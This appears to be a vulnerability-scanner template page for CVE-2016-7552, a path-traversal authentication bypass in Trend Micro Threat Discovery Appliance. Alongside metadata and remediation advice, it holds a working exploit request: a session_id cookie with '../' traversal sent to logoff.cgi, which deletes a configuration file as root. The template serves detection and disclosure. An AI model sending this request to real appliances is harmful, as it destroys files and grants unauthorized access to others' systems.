CVE-2016-7552: Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass

2025-08-01 Trend Micro Threat Discovery Appliance PoC Public

Description

Trend Micro Threat Discovery Appliance 2.6.1062r1 is vulnerable to a directory traversal vulnerability when processing a session_id cookie, which allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.

PoC

id: CVE-2016-7552

info:
  name: Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass
  author: dwisiswant0
  severity: critical
  description: Trend Micro Threat Discovery Appliance 2.6.1062r1 is vulnerable to a  directory traversal vulnerability when processing a session_id cookie, which allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the appliance.
  remediation: |
    Apply the necessary patch or update provided by Trend Micro to fix the authentication bypass vulnerability.
  reference:
    - https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7552
    - https://github.com/rapid7/metasploit-framework/pull/8216/commits/0f07875a2ddb0bfbb4e985ab074e9fc56da1dcf6
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-7552
    cwe-id: CWE-22
    epss-score: 0.93249
    epss-percentile: 0.99831
    cpe: cpe:2.3:a:trendmicro:threat_discovery_appliance:2.6.1062:r1:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: trendmicro
    product: threat_discovery_appliance
  tags: cve2016,cve,msf,lfi,auth,bypass,trendmicro,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/logoff.cgi"

    headers:
      Cookie: "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Memory map"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008eb4365c2a2370275e33e6225ebe80de65e591b7479aa1490139f3909a72c4cf0221008cfab74fb38eb4e82a41b4909f4e711fa3b958dd9e0e96f1711cb1f1a20443ce:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-7552.yaml

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